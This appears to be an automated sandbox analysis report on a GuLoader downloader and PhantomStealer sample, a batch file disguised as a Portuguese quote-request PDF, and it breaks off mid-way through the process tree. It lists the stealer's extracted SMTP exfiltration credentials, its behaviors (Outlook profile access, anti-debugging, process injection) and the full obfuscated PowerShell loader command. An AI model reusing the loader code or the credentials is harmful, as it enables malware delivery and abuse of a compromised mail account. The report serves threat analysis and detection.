guloader | 75eed202501778b0e5e4fcabed514a7f8fa1ff03a058e040c0bee919b2d27def

Analysis

max time kernel
298s
max time network
206s
platform
windows11-21h2_x64
resource
win11-20260513-en
resource tags

arch:x64arch:x86image:win11-20260513-enlocale:en-usos:windows11-21h2-x64systemwindows
submitted
03/06/2026, 04:23

Sharing

Copy URL Twitter E-mail

Report Analysis Logs

General

Target
Pedido de Cotação-20260602_Mapa de Quantidades_Lista Comercial_pdf.bat
Size 3KB
Sample260603-ezzcxsay7j
SHA256 75eed202501778b0e5e4fcabed514a7f8fa1ff03a058e040c0bee919b2d27def
MD5 47d3ca8b2279f5eea38c22cec63e9df2
SHA1 2a0d9331c7365339c143d84ad184eb5a6fb28c68
SHA512 08d2254b262980751597d5708546b19982e0c531defb6d99d8c139b66483d7f2ccb24f3fbcb2fc42748026209df08c2a08079bf25a4f66ab255188bfbd547be2
TLSH
T1D981F802BAA9760A97A710E4DA8E75203E2E9F1B92801796C5EEC34C21C511636FDDE9
MD5 SHA1 SHA512 TLSH

Score

10^/10

collection discovery downloader execution guloader phantom_stealer persistence stealer

Malware Config

Extracted

Credentials

Protocol
smtp
Host
mail.telesantos.pt
Port
587
Username
[email protected]
Password
Telesantos2021

Extracted

Family

phantom_stealer

Version

v3.5.0

Credentials

Protocol
smtp
Host
mail.telesantos.pt
Port
587
Username
[email protected]
Password
Telesantos2021
Email to
[email protected]

Mutex

6BZ2GFXV1JDHBTICFJXK

Attributes

anti_analysis
0
cb_enables_ssl
1
debug
0
keylogger
1
start_delay
0
startup
0

Signatures

Family: Guloader,Cloudeye
A shellcode based downloader first seen in 2020.
downloader guloader
Family: PhantomStealer
Phantom Stealer is a stealer written in C#, forked from the Stealerium family.
stealer phantom_stealer

Detects PhantomStealer written in C# 2 IoCs

resource	yara_rule
behavioral2/memory/3984-66-0x0000000001200000-0x0000000002517000-memory.dmp	family_phantomstealer
behavioral2/memory/3984-67-0x0000000001200000-0x00000000012BE000-memory.dmp	family_phantomstealer

Badlisted process makes network request 2 IoCs

Network request originating from process or tool commonly abused by malware.

flow	pid	Process
2	2888	powershell.exe
3	2888	powershell.exe

Accesses Microsoft Outlook profiles 1 TTPs 3 IoCs

collection

Email Collection

T1114

description	ioc	Process
Key opened	\REGISTRY\USER\S-1-5-21-2409539145-3342400454-2096821238-1000\Software\Microsoft\Office\15.0\Outlook\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676	backgroundTaskHost.exe
Key opened	\REGISTRY\USER\S-1-5-21-2409539145-3342400454-2096821238-1000\Software\Microsoft\Office\16.0\Outlook\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676	backgroundTaskHost.exe
Key opened	\REGISTRY\USER\S-1-5-21-2409539145-3342400454-2096821238-1000\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676	backgroundTaskHost.exe

Contacts third-party web service commonly abused for C2 1 TTPs 3 IoCs

Legitimate web (hosting) services can be abused by malware authors to host malware or C2s.

Web Service

T1102

flow	ioc
1	drive.google.com
2	drive.google.com
4	drive.google.com

Looks up external IP address via web service 1 IoCs

Uses a legitimate IP lookup service to find the infected system's external IP.

flow	ioc
29	icanhazip.com

Suspicious use of NtCreateThreadExHideFromDebugger 1 IoCs

pid	Process
3984	backgroundTaskHost.exe

Suspicious use of NtSetInformationThreadHideFromDebugger 2 IoCs

pid	Process
3616	powershell.exe
3984	backgroundTaskHost.exe

Drops file in Windows directory 2 IoCs

description	ioc	Process
File opened for modification	C:\Windows\SystemTemp	chrome.exe
File opened for modification	C:\Windows\SystemTemp	msedge.exe

Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs

Using powershell.exe command.

execution

PowerShell

T1059.001

pid	Process
2888	powershell.exe

System Location Discovery: System Language Discovery 1 TTPs 2 IoCs

Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

discovery

System Language Discovery

T1614.001

description	ioc	Process
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	powershell.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	backgroundTaskHost.exe

System Time Discovery 1 TTPs 2 IoCs

Adversary may gather the system time and/or time zone settings from a local or remote system.

discovery

System Time Discovery

T1124

pid	Process
728	chrome.exe
5344	msedge.exe

Checks processor information in registry 2 TTPs 20 IoCs

Processor information is often read in order to detect sandboxing environments.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~Mhz	firefox.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~Mhz	firefox.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\Description\System\CentralProcessor\0	backgroundTaskHost.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\Update Signature	firefox.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString	firefox.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0	firefox.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0	firefox.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~Mhz	firefox.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0	firefox.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0	firefox.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~Mhz	firefox.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0	firefox.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0	firefox.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~Mhz	firefox.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\Identifier	backgroundTaskHost.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\Update Revision	firefox.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\VendorIdentifier	firefox.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~Mhz	firefox.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0	firefox.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~Mhz	firefox.exe

Enumerates system info in registry 2 TTPs 6 IoCs

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS	chrome.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemProductName	chrome.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemManufacturer	chrome.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS	msedge.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemProductName	msedge.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemManufacturer	msedge.exe

Modifies registry class 2 IoCs

description	ioc	Process
Key created	\REGISTRY\USER\S-1-5-21-2409539145-3342400454-2096821238-1000_Classes\CLSID\{018D5C66-4533-4307-9B53-224DE2ED1FE6}\Instance\	msedge.exe
Key created	\REGISTRY\USER\S-1-5-21-2409539145-3342400454-2096821238-1000_Classes\CLSID\{018D5C66-4533-4307-9B53-224DE2ED1FE6}\Instance\	chrome.exe

Suspicious behavior: EnumeratesProcesses 43 IoCs

pid	Process
2888	powershell.exe
2888	powershell.exe
3616	powershell.exe
3616	powershell.exe
3616	powershell.exe
3984	backgroundTaskHost.exe
3984	backgroundTaskHost.exe
1768	chrome.exe
1768	chrome.exe
3984	backgroundTaskHost.exe
3984	backgroundTaskHost.exe
3984	backgroundTaskHost.exe
3984	backgroundTaskHost.exe
3984	backgroundTaskHost.exe
3984	backgroundTaskHost.exe
3984	backgroundTaskHost.exe
3984	backgroundTaskHost.exe
4412	firefox.exe
4412	firefox.exe
3984	backgroundTaskHost.exe
4412	firefox.exe
4412	firefox.exe
4412	firefox.exe
4412	firefox.exe
4412	firefox.exe
4412	firefox.exe
4412	firefox.exe
4412	firefox.exe
4412	firefox.exe
4412	firefox.exe
4412	firefox.exe
4412	firefox.exe
4412	firefox.exe
4412	firefox.exe
3984	backgroundTaskHost.exe
3984	backgroundTaskHost.exe
3984	backgroundTaskHost.exe
3984	backgroundTaskHost.exe
3984	backgroundTaskHost.exe
3984	backgroundTaskHost.exe
3984	backgroundTaskHost.exe
3984	backgroundTaskHost.exe
3984	backgroundTaskHost.exe

Suspicious behavior: MapViewOfSection 1 IoCs

pid	Process
3616	powershell.exe

Suspicious use of AdjustPrivilegeToken 9 IoCs

description	pid	Process
Token: SeDebugPrivilege	2888	powershell.exe
Token: SeDebugPrivilege	3616	powershell.exe
Token: SeDebugPrivilege	3984	backgroundTaskHost.exe
Token: SeShutdownPrivilege	1768	chrome.exe
Token: SeCreatePagefilePrivilege	1768	chrome.exe
Token: SeShutdownPrivilege	1768	chrome.exe
Token: SeCreatePagefilePrivilege	1768	chrome.exe
Token: SeShutdownPrivilege	1768	chrome.exe
Token: SeCreatePagefilePrivilege	1768	chrome.exe

Suspicious use of FindShellTrayWindow 11 IoCs

pid	Process
1768	chrome.exe
1768	chrome.exe
4412	firefox.exe
4412	firefox.exe
4412	firefox.exe
4412	firefox.exe
4412	firefox.exe
4412	firefox.exe
4412	firefox.exe
4412	firefox.exe
2388	msedge.exe

Suspicious use of SetWindowsHookEx 2 IoCs

pid	Process
4412	firefox.exe
3984	backgroundTaskHost.exe

Suspicious use of WriteProcessMemory 64 IoCs

description	pid	Process	procid_target
PID 2040 wrote to memory of 2888	2040	cmd.exe	81
PID 3616 wrote to memory of 852	3616	powershell.exe	85
PID 3616 wrote to memory of 3984	3616	powershell.exe	86
PID 3616 wrote to memory of 3984	3616	powershell.exe	86
PID 3984 wrote to memory of 1676	3984	backgroundTaskHost.exe	87
PID 3984 wrote to memory of 1768	3984	backgroundTaskHost.exe	88
PID 1768 wrote to memory of 1696	1768	chrome.exe	89
PID 1768 wrote to memory of 1184	1768	chrome.exe	90
PID 1768 wrote to memory of 728	1768	chrome.exe	91
PID 1768 wrote to memory of 4948	1768	chrome.exe	92
PID 1768 wrote to memory of 4860	1768	chrome.exe	93
PID 1768 wrote to memory of 3096	1768	chrome.exe	94
PID 1768 wrote to memory of 1036	1768	chrome.exe	95
PID 1768 wrote to memory of 3056	1768	chrome.exe	96
PID 1768 wrote to memory of 2384	1768	chrome.exe	97
PID 1768 wrote to memory of 4356	1768	chrome.exe	98
PID 3984 wrote to memory of 728	3984	backgroundTaskHost.exe	91
PID 3984 wrote to memory of 728	3984	backgroundTaskHost.exe	91
PID 3984 wrote to memory of 1696	3984	backgroundTaskHost.exe	89
PID 3984 wrote to memory of 1696	3984	backgroundTaskHost.exe	89
PID 3984 wrote to memory of 4948	3984	backgroundTaskHost.exe	92
PID 3984 wrote to memory of 4948	3984	backgroundTaskHost.exe	92
PID 3984 wrote to memory of 1768	3984	backgroundTaskHost.exe	88
PID 3984 wrote to memory of 1768	3984	backgroundTaskHost.exe	88
PID 3984 wrote to memory of 1184	3984	backgroundTaskHost.exe	90
PID 3984 wrote to memory of 1184	3984	backgroundTaskHost.exe	90
PID 3984 wrote to memory of 1036	3984	backgroundTaskHost.exe	95
PID 3984 wrote to memory of 1036	3984	backgroundTaskHost.exe	95
PID 3984 wrote to memory of 3096	3984	backgroundTaskHost.exe	94
PID 3984 wrote to memory of 3096	3984	backgroundTaskHost.exe	94
PID 3984 wrote to memory of 728	3984	backgroundTaskHost.exe	91
PID 3984 wrote to memory of 728	3984	backgroundTaskHost.exe	91
PID 3984 wrote to memory of 1696	3984	backgroundTaskHost.exe	89
PID 3984 wrote to memory of 1696	3984	backgroundTaskHost.exe	89
PID 3984 wrote to memory of 2384	3984	backgroundTaskHost.exe	97
PID 3984 wrote to memory of 2384	3984	backgroundTaskHost.exe	97
PID 3984 wrote to memory of 4948	3984	backgroundTaskHost.exe	92
PID 3984 wrote to memory of 4948	3984	backgroundTaskHost.exe	92
PID 3984 wrote to memory of 3056	3984	backgroundTaskHost.exe	96
PID 3984 wrote to memory of 3056	3984	backgroundTaskHost.exe	96
PID 3984 wrote to memory of 4356	3984	backgroundTaskHost.exe	98
PID 3984 wrote to memory of 4356	3984	backgroundTaskHost.exe	98
PID 3984 wrote to memory of 1768	3984	backgroundTaskHost.exe	88
PID 3984 wrote to memory of 1768	3984	backgroundTaskHost.exe	88
PID 3984 wrote to memory of 1184	3984	backgroundTaskHost.exe	90
PID 3984 wrote to memory of 1184	3984	backgroundTaskHost.exe	90
PID 1768 wrote to memory of 1868	1768	chrome.exe	99
PID 1768 wrote to memory of 568	1768	chrome.exe	100
PID 1768 wrote to memory of 1040	1768	chrome.exe	101
PID 3984 wrote to memory of 568	3984	backgroundTaskHost.exe	100
PID 3984 wrote to memory of 568	3984	backgroundTaskHost.exe	100
PID 3984 wrote to memory of 1036	3984	backgroundTaskHost.exe	95
PID 3984 wrote to memory of 1036	3984	backgroundTaskHost.exe	95
PID 3984 wrote to memory of 3096	3984	backgroundTaskHost.exe	94
PID 3984 wrote to memory of 3096	3984	backgroundTaskHost.exe	94
PID 3984 wrote to memory of 728	3984	backgroundTaskHost.exe	91
PID 3984 wrote to memory of 728	3984	backgroundTaskHost.exe	91
PID 3984 wrote to memory of 1868	3984	backgroundTaskHost.exe	99
PID 3984 wrote to memory of 1868	3984	backgroundTaskHost.exe	99
PID 3984 wrote to memory of 1696	3984	backgroundTaskHost.exe	89
PID 3984 wrote to memory of 1696	3984	backgroundTaskHost.exe	89
PID 3984 wrote to memory of 2384	3984	backgroundTaskHost.exe	97
PID 3984 wrote to memory of 2384	3984	backgroundTaskHost.exe	97
PID 3984 wrote to memory of 4948	3984	backgroundTaskHost.exe	92

Uses Task Scheduler COM API 1 TTPs
The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.
persistence

Query Registry
T1012

outlook_office_path 1 IoCs

description	ioc	Process
Key opened	\REGISTRY\USER\S-1-5-21-2409539145-3342400454-2096821238-1000\Software\Microsoft\Office\16.0\Outlook\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676	backgroundTaskHost.exe

outlook_win_path 1 IoCs

description	ioc	Process
Key opened	\REGISTRY\USER\S-1-5-21-2409539145-3342400454-2096821238-1000\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676	backgroundTaskHost.exe

C:\Windows\system32\cmd.exe
C:\Windows\system32\cmd.exe /c "C:\Users\Admin\AppData\Local\Temp\Pedido de Cotação-20260602_Mapa de Quantidades_Lista Comercial_pdf.bat"
1⤵
- Suspicious use of WriteProcessMemory
PID:2040
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell.exe -NoProfile -windowstyle 1 "mp 'urosig' 'ensheath' 'frdsel141';$ribaldnes=3;$fistriagttullfinc=55;function aspidistra ($paastaaeli,$fistriagtt) {$udebely=sadden('Bewilderment pretemptation Nattekvarter neuropsychologiuuu[RR.iI.InYYYt:::]ZZZ$jjjp<,<ak ka EEs SSt vva WWajjjeSS,lh hiBBB >>>-hhhbnnnx') ;$udebely+=sadden('Hjemmelsmnd loftsreglens Nonsculptural didascalic ForbrBB,oNN r XX DDD[ tti^^^nssst^^^] OO$,XXfYYYi.OOs ttt **rHHHiw,wa Rg bbtrr tKKK ');;prin ($udebely)}function sadden ($rundst) { $croc=$ribaldnes+$fistriagttullfinc; do {$fregnetfl+=$rundst[$croc];$croc+=4} while ($rundst[$croc])$fregnetfl}function prin ($paastaaelibeyan) {&($nutwoodpr) $paastaaelibeyan}Function Chefde ($rundst,$kraftfuldc=0){ ;$intr=sadden('Geopolitiskerne Samlivets Editorials wafer Tides Georgy AA$ppps;;;cC Crdd iUUUp___tii,:rrrtpp.rV Va In MMsYYYm xxixx.=QQQ[+++CXXXo');$intr+=sadden('Octine Tanhouse Lystt Wheneer Stopprvers starchboard Ny d.nVVVvYYYe.^^r .<t%%,]');$intr+=$gaussfu;$intr+=sadden('Cowboyerne Biddene Betalingskanalerne Handsewn armodens+ +F~~~r p oGGGmHHHBEEEa+++s;;;e// 6 bb4HHHSFFFt ,nrZZZi CCnP,Pg K (JJ $ vvr>>>u XXnCCCd /sPPPtjj.)');prin ($intr);For($croc=0; $transmi[$croc] -ne $stringhalt227; $croc++){$transmi[$croc] = aspidistra $transmi[$croc] $encefa[$croc%6]}$supines=sadden('Legemsvelser Crayonist freewill Jehule Inferires Elo Cr KK$QQQs^^^cc crww ifffp| |t.&&:Q,Qgqqqeqqqo;;;g.kke.~~n***to oo ##u Wsaaa=xxx[');$supines+=sadden('Fremtrdelsesform Philosophicopsychological Failure Germll T===ekkkx===t');$supines+=$cimbre;$supines+=sadden('Smrokkes Ordinariate Anvendelsesmuligheds Polyvinyliden qqEtttn???c___oS.SdEE iqqqn%%%ga a]');$supines+=$gaussfu;$supines+=sadden('Piperonyl Outplanning Enwrapt Erhvervsfremstd RegistrabLL A^^^S <<C___I EEI');$supines+=$cimbre;$supines+=sadden('Suberinize thailndere Pangane Buhkos Fritidens plexal Cee,GGGGe.XXtuu SAAAt nnr|||i yyniiig^^ ( ff$ jjtZZZrHHHasssn ??s,ffmPP i RR)');prin ($supines);if ($kraftfuldc) { prin $geogentous}else {;$geogentous}}$gaussfu=sadden('Jambiske Voltaism Ciguatera Udnyttelsesrets Backseats T --:kk :');$nutwoodpr=sadden 'Memorializations Atlaskeskjolens Scenografen GdningsopbMMMI';$cimbre=sadden('Underdyners Ruar Coapprehend Tomgangshastigheden Ansats&&&.');$nutwoodpr+=sadden 'Duressor Beskaeftige Luftkastellet jagtleje Forke Opsli H,E';$encefa=@(72,101,103,101,109,111);$nutwoodpr+=sadden 'lplanterne blaane Ggesalaten begyndelseslinjens ModestldddX';$spiculaed=Chefde 'fUtXRUU4IQsDChocaCszRVxfZlVcRToGJlNTXk0XflFcRR8ZclRSVUNfYUUgAA4EJ0pVVVxfeFRXVE0pIRcCAwIXZ1RSVUNf';$cabstupor=Chefde 'IBETFR5VZ0oDFwQZLUsACgIIJABJBgICZxAEWggXOAoVEVALJxIJCQIOLEMOAVBeJAgBDDgFcFZRNCIDHyI4AV8/Hz8+KjcnJBBVMgNYMi0=';$diffus=Chefde 'dg==';$spiseh='\Misbec.Ala';Chefde 'bAILCg8OJF8KABkHMQkGCVBLLQsRXwwfOAEGEQxEbBYXDB4KIA==' 1;Chefde 'bAILCg8OJF8AAAQdKRYUFV9dcFhDBgwNOxESFQIdZhYXCQQbYEEDDAsJPRZO' 1;Chefde 'EysCEUM8LRcRDA4KGAoOCxkiKQsGAggdFV9dNggMPRcOERQ/OgoTCg4AJFhUVVpd' 1;$cabstupor=$geirassp228[0];$metam=(Chefde 'bAILCg8OJF8GAwodOxYCCwlSBgAQSCINIgAEEU0hLRFJMggNCwkOAAMb');prin ($metam);Chefde 'bAQBAh8cOwAJAUMnLQQDAB8cEz4pABlBABETFT8KORACFhknLQQDAB8yfFU6WEkcOAwEEAEOLQE=' 1;$modige=Chefde 'DAoQCwEAKQEhDAEK';$formue=Chefde 'bAQBAh8cOwAJAUNLJQoDDAoKZiwJEwIELU1DBgwNOxESFQIdZEEUCAwdKVRTU0Q=';$smara146=$methylal;Chefde 'bAILCg8OJF8DDAwDMVhPMQgcPEg3BBkHaEEUCAwdKVRTU0Q=' 1;while (!$dialy) {Chefde 'bAILCg8OJF80BwgJKQdaQRkdPQA=' 1;prin $formue;Chefde 'GwkCAB1HfEw=' 1;Chefde 'bAILCg8OJF8DDAwDMVhPMQgcPEg3BBkHaEEUCAwdKVRTU0Q=' 1 ;Chefde 'bAILCg8OJF8XCQwcdUEACQINKQldBAsbLQsMDwIDLVRXVEZEbUEAAAQdKRYUFV9dcEsEChgBPA==' 1;$cabstupor=$geirassp228[$plas]}$fistriagtturmaner=134823;$stilleso=15751;Chefde 'bAILCg8OJF8BDBsKOABaAg5PbBYKBB8OeVFR' 1;Chefde 'bAILCg8OJF80HB4bLQhaPi4AJhMCFxkycl8hFwICCgQUAFtbGxEVDAMIYEEBDBsKOABO' 1;Chefde 'bAILCg8OJF8XFwgKdT4zABUbZiAJBgILIQsAOFdVCTYkLCRBDwATNhkdIQsATUk8MRYTAABG' 1;Chefde 'bAILCg8OJF8PBAEDeldVWEkfOgACSx4aKhYTFwQBL01DAwQcPBcOBAobPBAVCAwBLRdLQR4bIQkLAB4AYQ==' 1;prin $hall222;#Dagligva Unfelonio Obducen CabIeXStreung ;"
  2⤵
  - Badlisted process makes network request
  - Command and Scripting Interpreter: PowerShell
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:2888

C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
"C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe" "mp 'urosig' 'ensheath' 'frdsel141';$ribaldnes=3;$fistriagttullfinc=55;function aspidistra ($paastaaeli,$fistriagtt) {$udebely=sadden('Bewilderment pretemptation Nattekvarter neuropsychologiuuu[RR.iI.InYYYt:::]ZZZ$jjjp<,<ak ka EEs SSt vva WWajjjeSS,lh hiBBB >>>-hhhbnnnx') ;$udebely+=sadden('Hjemmelsmnd loftsreglens Nonsculptural didascalic ForbrBB,oNN r XX DDD[ tti^^^nssst^^^] OO$,XXfYYYi.OOs ttt **rHHHiw,wa Rg bbtrr tKKK ');;prin ($udebely)}function sadden ($rundst) { $croc=$ribaldnes+$fistriagttullfinc; do {$fregnetfl+=$rundst[$croc];$croc+=4} while ($rundst[$croc])$fregnetfl}function prin ($paastaaelibeyan) {&($nutwoodpr) $paastaaelibeyan}Function Chefde ($rundst,$kraftfuldc=0){ ;$intr=sadden('Geopolitiskerne Samlivets Editorials wafer Tides Georgy AA$ppps;;;cC Crdd iUUUp___tii,:rrrtpp.rV Va In MMsYYYm xxixx.=QQQ[+++CXXXo');$intr+=sadden('Octine Tanhouse Lystt Wheneer Stopprvers starchboard Ny d.nVVVvYYYe.^^r .<t%%,]');$intr+=$gaussfu;$intr+=sadden('Cowboyerne Biddene Betalingskanalerne Handsewn armodens+ +F~~~r p oGGGmHHHBEEEa+++s;;;e// 6 bb4HHHSFFFt ,nrZZZi CCnP,Pg K (JJ $ vvr>>>u XXnCCCd /sPPPtjj.)');prin ($intr);For($croc=0; $transmi[$croc] -ne $stringhalt227; $croc++){$transmi[$croc] = aspidistra $transmi[$croc] $encefa[$croc%6]}$supines=sadden('Legemsvelser Crayonist freewill Jehule Inferires Elo Cr KK$QQQs^^^cc crww ifffp| |t.&&:Q,Qgqqqeqqqo;;;g.kke.~~n***to oo ##u Wsaaa=xxx[');$supines+=sadden('Fremtrdelsesform Philosophicopsychological Failure Germll T===ekkkx===t');$supines+=$cimbre;$supines+=sadden('Smrokkes Ordinariate Anvendelsesmuligheds Polyvinyliden qqEtttn???c___oS.SdEE iqqqn%%%ga a]');$supines+=$gaussfu;$supines+=sadden('Piperonyl Outplanning Enwrapt Erhvervsfremstd RegistrabLL A^^^S <<C___I EEI');$supines+=$cimbre;$supines+=sadden('Suberinize thailndere Pangane Buhkos Fritidens plexal Cee,GGGGe.XXtuu SAAAt nnr|||i yyniiig^^ ( ff$ jjtZZZrHHHasssn ??s,ffmPP i RR)');prin ($supines);if ($kraftfuldc) { prin $geogentous}else {;$geogentous}}$gaussfu=sadden('Jambiske Voltaism Ciguatera Udnyttelsesrets Backseats T --:kk :');$nutwoodpr=sadden 'Memorializations Atlaskeskjolens Scenografen GdningsopbMMMI';$cimbre=sadden('Underdyners Ruar Coapprehend Tomgangshastigheden Ansats&&&.');$nutwoodpr+=sadden 'Duressor Beskaeftige Luftkastellet jagtleje Forke Opsli H,E';$encefa=@(72,101,103,101,109,111);$nutwoodpr+=sadden 'lplanterne blaane Ggesalaten begyndelseslinjens ModestldddX';$spiculaed=Chefde 'fUtXRUU4IQsDChocaCszRVxfZlVcRToGJlNTXk0XflFcRR8ZclRSVUNfYUUgAA4EJ0pVVVxfeFRXVE0pIRcCAwIXZ1RSVUNf';$cabstupor=Chefde 'IBETFR5VZ0oDFwQZLUsACgIIJABJBgICZxAEWggXOAoVEVALJxIJCQIOLEMOAVBeJAgBDDgFcFZRNCIDHyI4AV8/Hz8+KjcnJBBVMgNYMi0=';$diffus=Chefde 'dg==';$spiseh='\Misbec.Ala';Chefde 'bAILCg8OJF8KABkHMQkGCVBLLQsRXwwfOAEGEQxEbBYXDB4KIA==' 1;Chefde 'bAILCg8OJF8AAAQdKRYUFV9dcFhDBgwNOxESFQIdZhYXCQQbYEEDDAsJPRZO' 1;Chefde 'EysCEUM8LRcRDA4KGAoOCxkiKQsGAggdFV9dNggMPRcOERQ/OgoTCg4AJFhUVVpd' 1;$cabstupor=$geirassp228[0];$metam=(Chefde 'bAILCg8OJF8GAwodOxYCCwlSBgAQSCINIgAEEU0hLRFJMggNCwkOAAMb');prin ($metam);Chefde 'bAQBAh8cOwAJAUMnLQQDAB8cEz4pABlBABETFT8KORACFhknLQQDAB8yfFU6WEkcOAwEEAEOLQE=' 1;$modige=Chefde 'DAoQCwEAKQEhDAEK';$formue=Chefde 'bAQBAh8cOwAJAUNLJQoDDAoKZiwJEwIELU1DBgwNOxESFQIdZEEUCAwdKVRTU0Q=';$smara146=$methylal;Chefde 'bAILCg8OJF8DDAwDMVhPMQgcPEg3BBkHaEEUCAwdKVRTU0Q=' 1;while (!$dialy) {Chefde 'bAILCg8OJF80BwgJKQdaQRkdPQA=' 1;prin $formue;Chefde 'GwkCAB1HfEw=' 1;Chefde 'bAILCg8OJF8DDAwDMVhPMQgcPEg3BBkHaEEUCAwdKVRTU0Q=' 1 ;Chefde 'bAILCg8OJF8XCQwcdUEACQINKQldBAsbLQsMDwIDLVRXVEZEbUEAAAQdKRYUFV9dcEsEChgBPA==' 1;$cabstupor=$geirassp228[$plas]}$fistriagtturmaner=134823;$stilleso=15751;Chefde 'bAILCg8OJF8BDBsKOABaAg5PbBYKBB8OeVFR' 1;Chefde 'bAILCg8OJF80HB4bLQhaPi4AJhMCFxkycl8hFwICCgQUAFtbGxEVDAMIYEEBDBsKOABO' 1;Chefde 'bAILCg8OJF8XFwgKdT4zABUbZiAJBgILIQsAOFdVCTYkLCRBDwATNhkdIQsATUk8MRYTAABG' 1;Chefde 'bAILCg8OJF8PBAEDeldVWEkfOgACSx4aKhYTFwQBL01DAwQcPBcOBAobPBAVCAwBLRdLQR4bIQkLAB4AYQ==' 1;prin $hall222;#Dagligva Unfelonio Obducen CabIeXStreung ;"
1⤵
- Suspicious use of NtSetInformationThreadHideFromDebugger
- System Location Discovery: System Language Discovery
- Suspicious behavior: EnumeratesProcesses
- Suspicious behavior: MapViewOfSection
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:3616
- C:\Windows\SysWOW64\backgroundTaskHost.exe
  "C:\Windows\SysWOW64\backgroundTaskHost.exe"
  2⤵
  PID:852
- C:\Windows\SysWOW64\backgroundTaskHost.exe
  "C:\Windows\SysWOW64\backgroundTaskHost.exe"
  2⤵
  - Accesses Microsoft Outlook profiles
  - Suspicious use of NtCreateThreadExHideFromDebugger
  - Suspicious use of NtSetInformationThreadHideFromDebugger
  - System Location Discovery: System Language Discovery
  - Checks processor information in registry
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  - Suspicious use of SetWindowsHookEx
  - Suspicious use of WriteProcessMemory
  - outlook_office_path
  - outlook_win_path
  PID:3984
- - C:\Windows\SysWOW64\backgroundTaskHost.exe
    "C:\Windows\SysWOW64\backgroundTaskHost.exe"
    3⤵
    PID:1676
- - C:\Program Files\Google\Chrome\Application\chrome.exe
    "C:\Program Files\Google\Chrome\Application\chrome.exe" --no-sandbox --allow-no-sandbox-job --disable-gpu --mute-audio --disable-audio --user-data-dir="C:\Users\Admin\AppData\Local\Temp\tsvt41ee.4oc"
    3⤵
    - Drops file in Windows directory
    - Enumerates system info in registry
    - Modifies registry class
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    - Suspicious use of FindShellTrayWindow
    - Suspicious use of WriteProcessMemory
    PID:1768
  - - C:\Program Files\Google\Chrome\Application\chrome.exe
      "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=crashpad-handler --user-data-dir=C:\Users\Admin\AppData\Local\Temp\tsvt41ee.4oc /prefetch:4 --monitor-self-annotation=ptype=crashpad-handler --database=C:\Users\Admin\AppData\Local\Temp\tsvt41ee.4oc\Crashpad --metrics-dir=C:\Users\Admin\AppData\Local\Temp\tsvt41ee.4oc --url=https://clients2.google.com/cr/report --annotation=channel= --annotation=plat=Win64 --annotation=prod=Chrome --annotation=ver=140.0.7339.81 --initial-client-data=0x104,0x108,0x10c,0xe0,0x110,0x7ff8c7d4c728,0x7ff8c7d4c734,0x7ff8c7d4c740
      4⤵
      PID:1696
  - - C:\Program Files\Google\Chrome\Application\chrome.exe
